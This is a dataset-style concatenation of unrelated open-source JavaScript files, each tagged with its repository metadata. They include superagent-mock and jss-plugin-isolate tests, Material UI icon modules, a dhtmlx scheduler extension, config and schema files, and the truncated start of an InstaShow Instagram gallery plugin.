expect(aContext.isPrivate).toBe(false);
expect(typeof aContext.addInitializer).toBe('function');
expect(typeof aContext.setMetadata).toBe('function');
expect(typeof aContext.getMetadata).toBe('function');
expect(bContext.name).toBe('b');
expect(bContext.kind).toBe('method');
expect(bContext.isStatic).toBe(false);
expect(bContext.isPrivate).toBe(false);
expect(typeof bContext.addInitializer).toBe('function');
expect(typeof bContext.setMetadata).toBe('function');
expect(typeof bContext.getMetadata).toBe('function');
| hzoo/babel | packages/babel-plugin-proposal-decorators/test/fixtures/2021-12-methods--to-es2015/public/exec.js | JavaScript | mit | 1,148 |
import { HooksRouter as _HooksRouter } from 'parse-server/lib/Routers/HooksRouter';
import * as middlewares from 'parse-server/lib/middlewares';
const express = require('express');
export default class HooksRouter extends _HooksRouter {
handleGetFunctions(req) {
return super.handleGetFunctions(req)
.then(this._patchResponse);
}
handleGetTriggers(req) {
return super.handleGetTriggers(req)
.then(this._patchResponse);
}
_patchResponse(response) {
return {
response: {
results: response.response,
}
};
}
mountOnto(app) {
var hooksApp = express();
hooksApp.use('/hooks', middlewares.handleParseHeaders);
super.mountOnto(hooksApp);
return app.use('/1', hooksApp);
}
}
| luisholanda/parse-cli-server | src/HooksRouter.js | JavaScript | mit | 751 |
(function(){
module.config({
require:false,//open global require method,default false
base:'dist/',
nocache:false,//['name','name']|'t=xx'|true|false,default false
mined:'',//min suffix,like 'min',default ''
alias:{
},
files:[],//not a module,only a file
globals:{
'$':'jquery.module'
},
defaults:{},
debug:false
});
})(); | donghanji/pm.modules | config.js | JavaScript | mit | 355 |
'use strict';
var _mongoose = require('mongoose');
var _DB = require('../Database/DB');
var _DB2 = _interopRequireDefault(_DB);
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
var SeriesSchema = new _mongoose.Schema({
id: String,
name: String,
banner: String,
overview: String,
fistAired: String,
network: String,
imdbId: String
});
_DB2.default.model('Series', SeriesSchema); | sergiu-paraschiv/pi-media-center-automation | build/Models/Series.js | JavaScript | mit | 458 |
import createSvgIcon from './utils/createSvgIcon';
import { jsx as _jsx } from "react/jsx-runtime";
export default createSvgIcon([/*#__PURE__*/_jsx("path", {
d: "M12 5H8.12L12 8.88V6zM7 19h5v-4.46l-5-5z",
opacity: ".3"
}, "0"), /*#__PURE__*/_jsx("path", {
d: "M12 5v3.88l2 2V6h3v7.88l2 2V4h-5V3H6.12l2 2zM2.41 2.13 1 3.54l4 4V19H3v2h11v-4.46L20.46 23l1.41-1.41L2.41 2.13zM12 19H7V9.54l5 5V19z"
}, "1")], 'NoMeetingRoomTwoTone'); | oliviertassinari/material-ui | packages/mui-icons-material/lib/esm/NoMeetingRoomTwoTone.js | JavaScript | mit | 434 |
'use strict';
var http = require('http');
module.exports = function (request, config) {
return {
'setUp': function (go) {
// Stubbing the superagent method
request.Request.prototype.end = function (fn) {
fn(null, 'Real call done');
};
// Init module
require('./../../lib/superagent-mock')(request, config);
go();
},
'Method GET': {
'matching simple request': function (test) {
request.get('https://domain.example/666').end(function (err, result) {
test.ok(!err);
test.equal(result.match[1], '666');
test.equal(result.data, 'Fixture !');
test.equal(result.code, 200);
test.done();
});
},
'matching simple request with default callback': function (test) {
request.get('https://callback.method.example').end(function (err, result) {
test.ok(!err);
test.equal(result.data, 'Fixture !');
test.done();
});
},
'unmatching simple request': function (test) {
request.get('https://dummy.domain/666').end(function (err, result) {
test.ok(!err);
test.equal(result, 'Real call done');
test.done();
});
},
'matching parametrized request (object)': function (test) {
request.get('https://domain.params.example/list')
.query({limit: 10})
.end(function (err, result) {
test.ok(!err);
test.notEqual(result.match.indexOf('limit=10'), -1);
test.equal(result.data, 'Fixture !');
test.done();
});
},
'matching double parametrized request (object)': function (test) {
request.get('https://domain.params.example/list')
.query({limit: 10, offset: 30})
.end(function (err, result) {
test.ok(!err);
test.notEqual(result.match.indexOf('limit=10'), -1);
test.notEqual(result.match.indexOf('offset=30'), -1);
test.equal(result.data, 'Fixture !');
test.done();
});
},
'matching parametrized request (string)': function (test) {
request.get('https://domain.params.example/list')
.query('limit=10')
.end(function (err, result) {
test.ok(!err);
test.notEqual(result.match.indexOf('limit=10'), -1);
test.equal(result.data, 'Fixture !');
test.done();
});
},
'matching double parametrized request (string)': function (test) {
request.get('https://domain.params.example/list')
.query('limit=10&offset=40')
.end(function (err, result) {
test.ok(!err);
test.notEqual(result.match.indexOf('limit=10'), -1);
test.notEqual(result.match.indexOf('offset=40'), -1);
test.equal(result.data, 'Fixture !');
test.done();
});
},
'matching parametrized request (no parameters)': function (test) {
request.get('https://domain.params.example/list')
.end(function (err, result) {
test.ok(!err);
test.equal(result.data, 'Fixture !');
test.done();
});
},
'unmatching parametrized request (object)': function (test) {
request.get('https://dummy.domain.params.example/list')
.query({limit: 10})
.end(function (err, result) {
test.ok(!err);
test.equal(result, 'Real call done');
test.done();
});
},
'passing matched patterns to fixtures': function (test) {
var url = 'https://match.example/foo';
request.get(url)
.end(function (err, result) {
test.equal(result.data, 'foo');
test.done();
});
},
'catches not found error and response it': function (test) {
request.get('https://error.example/404')
.end(function (err, result) {
test.notEqual(err, null);
test.equal(err.status, 404);
test.equal(err.response, http.STATUS_CODES[404]);
test.ok(result.notFound)
test.done();
});
},
'catches unauthorized error and response it': function (test) {
request.get('https://error.example/401')
.end(function (err, result) {
test.notEqual(err, null);
test.equal(err.status, 401);
test.equal(err.response, http.STATUS_CODES[401]);
test.ok(result.unauthorized)
test.done();
});
},
'also can use "send" method': function (test) {
request.get('https://domain.send.example/666')
.send({superhero: "me"})
.end(function (err, result) {
test.ok(!err);
test.equal(result.match[1], '666');
test.equal(result.data, 'Fixture ! - superhero:me');
test.done();
});
},
'setting headers': function (test) {
request.get('https://authorized.example/')
.set({Authorization: "valid_token"})
.end(function (err, result) {
test.ok(!err);
test.equal(result.data, 'your token: valid_token');
test.done();
});
}
},
'Method POST': {
'matching simple request': function (test) {
request.post('https://domain.example/666').end(function (err, result) {
test.ok(!err);
test.equal(result.match[1], '666');
test.equal(result.data, 'Fixture !');
test.equal(result.code, 201);
test.done();
});
},
'matching simple request with default callback': function (test) {
request.post('https://callback.method.example').end(function (err, result) {
test.ok(!err);
test.equal(result.data, 'Fixture !');
test.done();
});
},
'unmatching simple request': function (test) {
request.post('https://dummy.domain/666').end(function (err, result) {
test.ok(!err);
test.equal(result, 'Real call done');
test.done();
});
},
'matching parametrized request (object)': function (test) {
request.post('https://domain.params.example/list')
.query({limit: 10})
.end(function (err, result) {
test.ok(!err);
test.notEqual(result.match.indexOf('limit=10'), -1);
test.equal(result.data, 'Fixture !');
test.done();
});
},
'matching double parametrized request (object)': function (test) {
request.post('https://domain.params.example/list')
.query({limit: 10, offset: 30})
.end(function (err, result) {
test.ok(!err);
test.notEqual(result.match.indexOf('limit=10'), -1);
test.notEqual(result.match.indexOf('offset=30'), -1);
test.equal(result.data, 'Fixture !');
test.done();
});
},
'matching parametrized request (string)': function (test) {
request.post('https://domain.params.example/list')
.query('limit=10')
.end(function (err, result) {
test.ok(!err);
test.notEqual(result.match.indexOf('limit=10'), -1);
test.equal(result.data, 'Fixture !');
test.done();
});
},
'matching double parametrized request (string)': function (test) {
request.post('https://domain.params.example/list')
.query('limit=10&offset=40')
.end(function (err, result) {
test.ok(!err);
test.notEqual(result.match.indexOf('limit=10'), -1);
test.notEqual(result.match.indexOf('offset=40'), -1);
test.equal(result.data, 'Fixture !');
test.done();
});
},
'matching parametrized request (no parameters)': function (test) {
request.post('https://domain.params.example/list')
.end(function (err, result) {
test.ok(!err);
test.equal(result.data, 'Fixture !');
test.done();
});
},
'unmatching parametrized request (object)': function (test) {
request.post('https://dummy.domain.params.example/list')
.query({limit: 10})
.end(function (err, result) {
test.ok(!err);
test.equal(result, 'Real call done');
test.done();
});
},
'passing matched patterns to fixtures': function (test) {
var url = 'https://match.example/foo';
request.post(url)
.end(function (err, result) {
test.equal(result.data, 'foo');
test.done();
});
},
'catches not found error and response it': function (test) {
request.post('https://error.example/404')
.end(function (err, result) {
test.notEqual(err, null);
test.equal(err.status, 404);
test.equal(err.response, http.STATUS_CODES[404]);
test.ok(result.notFound)
test.done();
});
},
'catches unauthorized error and response it': function (test) {
request.post('https://error.example/401')
.end(function (err, result) {
test.notEqual(err, null);
test.equal(err.status, 401);
test.equal(err.response, http.STATUS_CODES[401]);
test.ok(result.unauthorized)
test.done();
});
},
'setting headers': function (test) {
request.post('https://authorized.example/')
.set({Authorization: "valid_token"})
.end(function (err, result) {
test.ok(!err);
test.equal(result.data, 'your token: valid_token');
test.done();
});
}
},
'Method PUT': {
'matching simple request': function (test) {
request.put('https://domain.example/666').end(function (err, result) {
test.ok(!err);
test.equal(result.match[1], '666');
test.equal(result.data, 'Fixture !');
test.equal(result.code, 201);
test.done();
});
},
'matching simple request with default callback': function (test) {
request.put('https://callback.method.example').end(function (err, result) {
test.ok(!err);
test.equal(result.data, 'Fixture !');
test.done();
});
},
'unmatching simple request': function (test) {
request.put('https://dummy.domain/666').end(function (err, result) {
test.ok(!err);
test.equal(result, 'Real call done');
test.done();
});
},
'matching parametrized request (object)': function (test) {
request.put('https://domain.params.example/list')
.query({limit: 10})
.end(function (err, result) {
test.ok(!err);
test.notEqual(result.match.indexOf('limit=10'), -1);
test.equal(result.data, 'Fixture !');
test.done();
});
},
'matching double parametrized request (object)': function (test) {
request.put('https://domain.params.example/list')
.query({limit: 10, offset: 30})
.end(function (err, result) {
test.ok(!err);
test.notEqual(result.match.indexOf('limit=10'), -1);
test.notEqual(result.match.indexOf('offset=30'), -1);
test.equal(result.data, 'Fixture !');
test.done();
});
},
'matching parametrized request (string)': function (test) {
request.put('https://domain.params.example/list')
.query('limit=10')
.end(function (err, result) {
test.ok(!err);
test.notEqual(result.match.indexOf('limit=10'), -1);
test.equal(result.data, 'Fixture !');
test.done();
});
},
'matching double parametrized request (string)': function (test) {
request.put('https://domain.params.example/list')
.query('limit=10&offset=40')
.end(function (err, result) {
test.ok(!err);
test.notEqual(result.match.indexOf('limit=10'), -1);
test.notEqual(result.match.indexOf('offset=40'), -1);
test.equal(result.data, 'Fixture !');
test.done();
});
},
'matching parametrized request (no parameters)': function (test) {
request.put('https://domain.params.example/list')
.end(function (err, result) {
test.ok(!err);
test.equal(result.data, 'Fixture !');
test.done();
});
},
'unmatching parametrized request (object)': function (test) {
request.put('https://dummy.domain.params.example/list')
.query({limit: 10})
.end(function (err, result) {
test.ok(!err);
test.equal(result, 'Real call done');
test.done();
});
},
'passing matched patterns to fixtures': function (test) {
var url = 'https://match.example/foo';
request.put(url)
.end(function (err, result) {
test.equal(result.data, 'foo');
test.done();
});
},
'catches not found error and response it': function (test) {
request.put('https://error.example/404')
.end(function (err, result) {
test.notEqual(err, null);
test.equal(err.status, 404);
test.equal(err.response, http.STATUS_CODES[404]);
test.ok(result.notFound)
test.done();
});
},
'catches unauthorized error and response it': function (test) {
request.put('https://error.example/401')
.end(function (err, result) {
test.notEqual(err, null);
test.equal(err.status, 401);
test.equal(err.response, http.STATUS_CODES[401]);
test.ok(result.unauthorized)
test.done();
});
},
'setting headers': function (test) {
request.put('https://authorized.example/')
.set({Authorization: "valid_token"})
.end(function (err, result) {
test.ok(!err);
test.equal(result.data, 'your token: valid_token');
test.done();
});
}
}
};
};
| ertrzyiks/superagent-mock | tests/support/expectations.js | JavaScript | mit | 14,494 |
//模块简称与全称(模块绝对路径)的映射
module.exports = {
// array
'asynEach': 'air/array/asynEach',
'each': 'air/array/each',
'mess': 'air/array/mess',
'unique': 'air/array/unique',
'uniqueEach': 'air/array/uniqueEach',
'uniquePush': 'air/array/uniquePush',
'uniqueUnshift': 'air/array/uniqueUnshift',
// dom
'contains': 'air/dom/contains',
'createElement': 'air/dom/createElement',
'insertCSS': 'air/dom/insertCSS',
// env
'flash': 'air/env/flash',
'isIE6': 'air/env/isIE6',
'ua': 'air/env/ua',
// event
'broadcast': 'air/event/broadcast',
'dataObserver': 'air/event/dataObserver',
'gatherData': 'air/event/gatherData',
'givee': 'air/event/givee',
'mousewheel': 'air/event/mousewheel',
'resize': 'air/event/resize',
// io
'cacheJSONP': 'air/io/cacheJSONP',
'iframeCrossRequest': 'air/io/iframeCrossRequest',
'iframeRequest': 'air/io/iframeRequest',
'imgRequest': 'air/io/imgRequest',
'smartPolling': 'air/io/smartPolling',
// lang
'extend': 'air/lang/extend',
// node 只有node.js能用的
'cleardir': 'air/node/cleardir',
'mkdir': 'air/node/mkdir',
'trace': 'air/node/trace',
// number
'shorten': 'air/number/shorten',
'thousand': 'air/number/thousand',
'thousandFloat': 'air/number/thousandFloat',
// string
'byteLength': 'air/string/byteLength',
'clip': 'air/string/clip',
'decodeHTML': 'air/string/decodeHTML',
'encodeHTML': 'air/string/encodeHTML',
'md5': 'air/string/md5',
'MJSO': 'air/string/MJSO',
'parseJSON': 'air/string/parseJSON',
'repeat': 'air/string/repeat',
'stringifyJSON': 'air/string/stringifyJSON',
// ui
'dialog': 'air/ui/dialog',
'mask': 'air/ui/mask',
'overlay': 'air/ui/overlay',
'popup': 'air/ui/popup',
'yDragBar': 'air/ui/yDragBar',
// util
'cookie': 'air/util/cookie',
'formatDuration': 'air/util/formatDuration',
'formatTime': 'air/util/formatTime',
'formatVideoDuration': 'air/util/formatVideoDuration',
'parseFormattedTime': 'air/util/parseFormattedTime',
'promise': 'air/util/promise',
'scrollEmitter': 'air/util/scrollEmitter',
'scrollingLoader': 'air/util/scrollingLoader',
'scrollTo': 'air/util/scrollTo',
'textarea': 'air/util/textarea',
'tpl': 'air/util/tpl',
'url': 'air/util/url'
};
| erniu/air | module-abbr.js | JavaScript | mit | 2,221 |
var searchData=
[
['self_5faddress',['SELF_ADDRESS',['../classcom_1_1sonycsl_1_1echo_1_1_echo_socket.html#a496d811d96cec8098988fec985c34578',1,'com::sonycsl::echo::EchoSocket']]]
];
| kogaken1/OpenECHO | Processing/libraries/OpenECHO/references/search/variables_4.js | JavaScript | mit | 184 |
"use strict";
var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");
Object.defineProperty(exports, "__esModule", {
value: true
});
exports.default = void 0;
var _createSvgIcon = _interopRequireDefault(require("./utils/createSvgIcon"));
var _jsxRuntime = require("react/jsx-runtime");
var _default = (0, _createSvgIcon.default)( /*#__PURE__*/(0, _jsxRuntime.jsx)("path", {
d: "M3 4V1h2v3h3v2H5v3H3V6H0V4h3zm3 6V7h3V4h7l1.83 2H21c1.1 0 2 .9 2 2v12c0 1.1-.9 2-2 2H5c-1.1 0-2-.9-2-2V10h3zm7 9c2.76 0 5-2.24 5-5s-2.24-5-5-5-5 2.24-5 5 2.24 5 5 5zm-3.2-5c0 1.77 1.43 3.2 3.2 3.2s3.2-1.43 3.2-3.2-1.43-3.2-3.2-3.2-3.2 1.43-3.2 3.2z"
}), 'AddAPhoto');
exports.default = _default; | oliviertassinari/material-ui | packages/mui-icons-material/lib/AddAPhoto.js | JavaScript | mit | 713 |
(function(){
scheduler.config.all_timed = "short";
var is_event_short = function (ev) {
return !((ev.end_date - ev.start_date)/(1000*60*60) >= 24);
};
var old_prerender_events_line = scheduler._pre_render_events_line;
scheduler._pre_render_events_line = function(evs, hold){
if (!this.config.all_timed)
return old_prerender_events_line.call(this, evs, hold);
for (var i=0; i < evs.length; i++) {
var ev=evs[i];
if (ev._timed)
continue;
if (this.config.all_timed == "short") {
if (!is_event_short(ev)) {
evs.splice(i--,1);
continue;
}
}
var ce = this._lame_copy({}, ev); // current event (event for one specific day) is copy of original with modified dates
ce.start_date = new Date(ce.start_date); // as lame copy doesn't copy date objects
if (!isOvernightEvent(ev)) {
ce.end_date = new Date(ev.end_date);
}
else {
ce.end_date = getNextDay(ce.start_date);
if (this.config.last_hour != 24) { // if specific last_hour was set (e.g. 20)
ce.end_date = setDateTime(ce.start_date, this.config.last_hour);
}
}
var event_changed = false;
if (ce.start_date < this._max_date && ce.end_date > this._min_date && ce.start_date < ce.end_date) {
evs[i] = ce; // adding another event in collection
event_changed = true;
}
// if (ce.start_date > ce.end_date) {
// evs.splice(i--,1);
// }
var re = this._lame_copy({}, ev); // remaining event, copy of original with modified start_date (making range more narrow)
re.end_date = new Date(re.end_date);
if (re.start_date < this._min_date)
re.start_date = setDateTime(this._min_date, this.config.first_hour);// as we are starting only with whole hours
else
re.start_date = setDateTime(getNextDay(ev.start_date), this.config.first_hour);
if (re.start_date < this._max_date && re.start_date < re.end_date) {
if (event_changed)
evs.splice(i+1,0,re);//insert part
else {
evs[i--] = re;
continue;
}
}
}
// in case of all_timed pre_render is not applied to the original event
// so we need to force redraw in case of dnd
var redraw = (this._drag_mode == 'move')?false:hold;
return old_prerender_events_line.call(this, evs, redraw);
function isOvernightEvent(ev){
var next_day = getNextDay(ev.start_date);
return (+ev.end_date > +next_day);
}
function getNextDay(date){
var next_day = scheduler.date.add(date, 1, "day");
next_day = scheduler.date.date_part(next_day);
return next_day;
}
function setDateTime(date, hours){
var val = scheduler.date.date_part(new Date(date));
val.setHours(hours);
return val;
}
};
var old_get_visible_events = scheduler.get_visible_events;
scheduler.get_visible_events = function(only_timed){
if (!(this.config.all_timed && this.config.multi_day))
return old_get_visible_events.call(this, only_timed);
return old_get_visible_events.call(this, false); // only timed = false
};
scheduler.attachEvent("onBeforeViewChange", function (old_mode, old_date, mode, date) {
scheduler._allow_dnd = (mode == "day" || mode == "week");
return true;
});
scheduler._is_main_area_event = function(ev){
return !!(ev._timed || this.config.all_timed === true || (this.config.all_timed == "short" && is_event_short(ev)) );
};
var oldUpdate = scheduler.updateEvent;
scheduler.updateEvent = function(id){
// full redraw(update_render=true) messes events order while dnd.
// individual redraw(update_render=false) of multiday event, which happens on select/unselect, expands event to full width of the cell and can be fixes only with full redraw.
// so for now full redraw is always enabled for not-dnd updates
var fullRedrawNeeded = (scheduler.config.all_timed && !(scheduler.isOneDayEvent(scheduler._events[id]) || scheduler.getState().drag_id));
if(fullRedrawNeeded){
var initial = scheduler.config.update_render;
scheduler.config.update_render = true;
}
oldUpdate.apply(scheduler, arguments);
if(fullRedrawNeeded){
scheduler.config.update_render = initial;
}
};
})(); | yukung/playground | team-calendar/src/main/webapp/WEB-INF/assets/dhtmlxscheduler/ext/dhtmlxscheduler_all_timed.js | JavaScript | mit | 4,078 |
"use babel";
// @flow
export type AddTerminalAction = {
type: "ADD_TERMINAL",
payload: {
id: string,
path: string,
},
};
export function addTerminal(id: string, path: string): AddTerminalAction {
return {
type: "ADD_TERMINAL",
payload: {
id,
path,
},
};
}
| lorenzoalfieri/atom-molecule-dev-environment | lib/ExecutionControlEpic/TerminalFeature/Actions/AddTerminal.js | JavaScript | mit | 300 |
import expect from 'expect.js'
import {create, sheets} from 'jss'
import nested from 'jss-plugin-nested'
import isolate from './index'
describe('jss-plugin-isolate', () => {
let jss
beforeEach(() => {
jss = create().use(isolate())
})
afterEach(() => {
sheets.registry.forEach((sheet) => sheet.detach())
sheets.reset()
})
describe('reset sheet is not created if there is nothing to reset', () => {
beforeEach(() => {
jss.createStyleSheet()
})
it('should have no reset sheets in registry', () => {
expect(sheets.registry.length).to.be(1)
})
})
describe('ignores atRules', () => {
beforeEach(() => {
jss.createStyleSheet({
'@media print': {},
'@font-face': {
'font-family': 'MyHelvetica',
src: 'local("Helvetica")'
},
'@keyframes id': {
from: {top: 0},
'30%': {top: 30},
'60%, 70%': {top: 80}
},
'@supports ( display: flexbox )': {}
})
})
it('should have no reset sheets in registry', () => {
expect(sheets.registry.length).to.be(1)
})
})
describe('works with classes', () => {
let sheet
beforeEach(() => {
sheet = jss.createStyleSheet({
link: {
color: 'red'
},
linkItem: {
color: 'blue'
}
})
})
it('should add selectors to the reset rule', () => {
const resetRule = sheets.registry[0].getRule('reset')
expect(resetRule.selector).to.contain(sheet.classes.linkItem)
expect(resetRule.selector).to.contain(sheet.classes.link)
})
it('should have expected reset props', () => {
const resetRule = sheets.registry[0].getRule('reset')
expect(resetRule.prop('border-collapse')).to.be('separate')
expect(resetRule.prop('font-family')).to.be('initial')
})
})
describe('works in multiple StyleSheets', () => {
let sheet1
let sheet2
beforeEach(() => {
sheet1 = jss.createStyleSheet({
link: {
color: 'red'
}
})
sheet2 = jss.createStyleSheet({
linkItem: {
color: 'blue'
}
})
})
it('should add selectors to the reset rule', () => {
const resetRule = sheets.registry[0].getRule('reset')
expect(resetRule.selector).to.contain(sheet1.classes.link)
expect(resetRule.selector).to.contain(sheet2.classes.linkItem)
})
})
describe('global option "isolate"', () => {
beforeEach(() => {
jss = create().use(
isolate({
isolate: false
})
)
jss.createStyleSheet({
a: {
color: 'blue'
}
})
})
it('should use global option', () => {
expect(sheets.registry[0].getRule('reset')).to.be(undefined)
})
})
describe('ignores rules if they are ignored in StyleSheet options', () => {
let sheet1
let sheet2
beforeEach(() => {
sheet1 = jss.createStyleSheet({
link: {
color: 'red'
}
})
sheet2 = jss.createStyleSheet(
{
linkItem: {
color: 'blue'
}
},
{isolate: false}
)
})
it('should not add selectors to the reset rule', () => {
const resetRule = sheets.registry[0].getRule('reset')
expect(resetRule.selector).to.contain(sheet1.classes.link)
expect(resetRule.selector).not.to.contain(sheet2.classes.linkItem)
})
})
describe('isolate rules if they have isolate: true even if StyleSheet options is isolate: false', () => {
let sheet
beforeEach(() => {
sheet = jss.createStyleSheet(
{
link: {
isolate: true,
color: 'blue'
}
},
{isolate: false}
)
})
it('should add selectors to the reset rule', () => {
const resetRule = sheets.registry[0].getRule('reset')
expect(resetRule.selector).to.contain(sheet.classes.link)
})
})
describe('isolate option as a string', () => {
let sheet
beforeEach(() => {
sheet = jss.createStyleSheet(
{
root: {
color: 'blue'
},
a: {
color: 'red'
}
},
{isolate: 'root'}
)
})
it('should only isolate rules with matching name', () => {
const resetRule = sheets.registry[0].getRule('reset')
expect(resetRule.selector).to.contain(sheet.classes.root)
expect(resetRule.selector).not.to.contain(sheet.classes.a)
})
})
describe('ignore rules if property isolate is set to false', () => {
let sheet
beforeEach(() => {
sheet = jss.createStyleSheet({
link: {
color: 'red'
},
linkItem: {
color: 'blue',
isolate: false
}
})
})
it('should add selectors to the reset rule', () => {
const resetRule = sheets.registry[0].getRule('reset')
expect(resetRule.selector).to.contain(sheet.classes.link)
expect(resetRule.selector).not.to.contain(sheet.classes.linkItem)
})
it('should have expected reset props', () => {
expect(sheet.getRule('linkItem').prop('isolate')).to.be(undefined)
})
})
describe("don't duplicate selectors", () => {
let sheet
beforeEach(() => {
sheet = jss.createStyleSheet({
link: {
color: 'blue'
},
'@media (min-width: 320px)': {
link: {
color: 'red'
}
}
})
})
it('should add selectors to the reset rule', () => {
const resetRule = sheets.registry[0].getRule('reset')
expect(resetRule.selector).to.be(`.${sheet.classes.link}`)
})
})
describe('option "reset={width}" with custom props', () => {
beforeEach(() => {
jss = create().use(
isolate({
reset: {
width: '1px'
}
})
)
jss.createStyleSheet({
a: {
color: 'blue'
}
})
})
it('should add width prop to the reset rule', () => {
const resetRule = sheets.registry[0].getRule('reset')
expect(resetRule.prop('width')).to.be('1px')
})
})
describe('createRule()', () => {
it('should not create reset sheet', () => {
jss.createRule({
color: 'red'
})
expect(sheets.registry.length).to.be(0)
})
it('should not throw', () => {
expect(() => {
jss.createRule({
color: 'red'
})
}).to.not.throwException()
})
})
describe('nested media queries with jss-plugin-nested', () => {
let sheet
beforeEach(() => {
jss = create().use(isolate(), nested())
sheet = jss.createStyleSheet({
link: {
color: 'darksalmon',
'@media (min-width: 320px)': {
color: 'steelblue'
}
}
})
})
it('should add selectors to the reset rule', () => {
const resetRule = sheets.registry[0].getRule('reset')
expect(resetRule.selector).to.contain(sheet.classes.link)
})
})
describe('nested media queries with jss-plugin-nested with isolate:false', () => {
beforeEach(() => {
jss = create().use(isolate(), nested())
jss.createStyleSheet({
link: {
isolate: false,
color: 'darksalmon',
'@media (min-width: 320px)': {
color: 'steelblue'
}
}
})
})
it('should not add selectors to the reset rule', () => {
const resetRule = sheets.registry[0].getRule('reset')
expect(resetRule).to.be(undefined)
})
})
})
| cssinjs/jss | packages/jss-plugin-isolate/src/index.test.js | JavaScript | mit | 7,666 |
//Так приятней :)
window.log = function(param){
console.log(param);
}; | npofopr/karaage | src/js/libs/helper.js | JavaScript | mit | 85 |
/*
InstaShow
Version: 2.3.0
Release date: Mon Feb 20 2017
elfsight.com
Copyright (c) 2017 Elfsight, LLC. ALL RIGHTS RESERVED
*/
(function e(t,n,r){function s(o,u){if(!n[o]){if(!t[o]){var a=typeof require=="function"&&require;if(!u&&a)return a(o,!0);if(i)return i(o,!0);throw new Error("Cannot find module '"+o+"'")}var f=n[o]={exports:{}};t[o][0].call(f.exports,function(e){var n=t[o][1][e];return s(n?n:e)},f,f.exports,e,t,n,r)}return n[o].exports}var i=typeof require=="function"&&require;for(var o=0;o<r.length;o++)s(r[o]);return s})({1:[function(require,module,exports){
"use strict";
var $ = require('./jquery');
var Api = function () {
};
$.extend(Api, {});
Api.prototype = function () {
};
$.extend(Api.prototype, {});
module.exports = Api;
},{"./jquery":21}],2:[function(require,module,exports){
"use strict";
var $ = require('./jquery');
var AutoRotator = function (gallery) {
var self = this;
self.gallery = gallery;
self.enabled = false;
self.pause = false;
self.duration = null;
self.hoverPause = null;
self.timer = null;
self.initialize();
};
AutoRotator.prototype = function () {
};
$.extend(AutoRotator.prototype, {
initialize: function () {
var self = this;
var auto = parseInt(self.gallery.options.auto, 10);
if (auto > 0) {
self.enabled = true;
self.duration = parseInt(auto, 10);
self.hoverPause = self.gallery.options.autoHoverPause;
self.start();
self.watch();
}
},
start: function () {
var self = this;
console.log(self.enabled);
if (!self.enabled) {
return;
}
self.pause = false;
self.rotate();
},
stop: function () {
var self = this;
console.log(self.enabled);
if (!self.enabled) {
return;
}
clearInterval(self.timer);
self.pause = true;
},
rotate: function () {
var self = this;
self.timer = setTimeout(function () {
if (!self.enabled || self.pause || !self.gallery.hasNextView()) {
return;
}
self.gallery.moveToNextView().always(function () {
self.rotate();
});
}, self.duration);
},
watch: function () {
var self = this;
self.gallery.$root.on('mouseenter.instaShow', function () {
if (!self.hoverPause || self.gallery.core.popup.isShowing()) {
return;
}
self.stop();
});
self.gallery.$root.on('mouseleave.instaShow', function () {
if (!self.hoverPause || self.gallery.core.popup.isShowing()) {
return;
}
self.start();
});
}
});
module.exports = AutoRotator;
},{"./jquery":21}],3:[function(require,module,exports){
"use strict";
var $ = require('./jquery'), u = require('./u'), defaults = require('./defaults'), Instapi = require('./instapi'), Gallery = require('./gallery'), Popup = require('./popup'), views = require('./views'), Lang = require('./lang');
var Core = function ($element, options, id) {
var self = this;
self.$element = $element;
self.$style = null;
self.options = $.extend(true, {}, defaults, options);
self.instapi = null;
self.gallery = null;
self.popup = null;
self.lang = null;
self.id = id;
self.initialize();
};
$.extend(Core, {
VERSION: '2.2.0 Location',
TPL_OPTIONS_ALIASES: {
tplError: 'error',
tplGalleryArrows: 'gallery.arrows',
tplGalleryCounter: 'gallery.counter',
tplGalleryCover: 'gallery.cover',
tplGalleryInfo: 'gallery.info',
tplGalleryLoader: 'gallery.loader',
tplGalleryMedia: 'gallery.media',
tplGalleryScroll: 'gallery.scroll',
tplGalleryView: 'gallery.view',
tplGalleryWrapper: 'gallery.wrapper',
tplPopupMedia: 'popup.media',
tplPopupRoot: 'popup.root',
tplPopupTwilight: 'popup.twilight',
tplStyle: 'style'
}
});
Core.prototype = function () {
};
$.extend(Core.prototype, {
initialize: function () {
var self = this;
self.instapi = new Instapi(self, self.options, self.id);
var source;
if (self.instapi.isSandbox()) {
source = ['@self'];
} else {
source = u.unifyMultipleOption(self.options.source);
}
if (!source || !source.length) {
self.showError('Please set option "source". See details in docs.');
return;
}
var filter = {
only: self.options.filterOnly ? u.unifyMultipleOption(self.options.filterOnly) : null,
except: self.options.filterExcept ? u.unifyMultipleOption(self.options.filterExcept) : null
};
self.mediaFetcher = self.instapi.createMediaFetcher(source, filter, self.options.filter);
if (!self.mediaFetcher) {
self.showError('Option "source" is invalid. See details in docs.');
return;
}
if (Handlebars && Handlebars.compile) {
$.each(Core.TPL_OPTIONS_ALIASES, function (optName, tplName) {
var tplId = self.options[optName];
if (!tplId) {
return;
}
var rawTpl = $('[data-is-tpl="' + tplId + '"]').html();
if (!rawTpl) {
return;
}
u.setProperty(views, tplName, Handlebars.compile(rawTpl));
});
}
self.gallery = new Gallery(self);
self.popup = new Popup(self);
self.lang = new Lang(self, self.options.lang);
self.$style = $(views.style($.extend({}, self.options, { id: self.id })));
self.$style.insertBefore(self.$element);
},
showError: function (message) {
var self = this;
if (!self.options.debug) {
$('#instaShowGallery_' + self.id).css('display', 'none');
}
var $message = $(views.error({ message: message }));
if (self.gallery) {
self.gallery.puzzle();
$message.appendTo(self.gallery.$root);
} else {
$message.insertBefore(self.$element);
}
}
});
module.exports = Core;
},{"./defaults":4,"./gallery":6,"./instapi":8,"./jquery":21,"./lang":22,"./popup":25,"./u":28,"./views":29}],4:[function(require,module,exports){
"use strict";
module.exports = {
api: null,
clientId: null,
accessToken: null,
debug: false,
source: null,
filterOnly: null,
filterExcept: null,
filter: null,
limit: 0,
width: 'auto',
height: 'auto',
columns: 4,
rows: 2,
gutter: 0,
responsive: null,
loop: true,
arrowsControl: true,
scrollControl: false,
dragControl: true,
direction: 'horizontal',
freeMode: false,
scrollbar: true,
effect: 'slide',
speed: 600,
easing: 'ease',
auto: 0,
autoHoverPause: true,
popupSpeed: 400,
popupEasing: 'ease',
lang: 'en',
cacheMediaTime: 0,
mode: 'popup',
info: 'likesCounter commentsCounter description',
popupInfo: 'username instagramLink likesCounter commentsCounter location passedTime description comments',
popupDeepLinking: false,
popupHrImages: false,
colorGalleryBg: 'rgba(0, 0, 0, 0)',
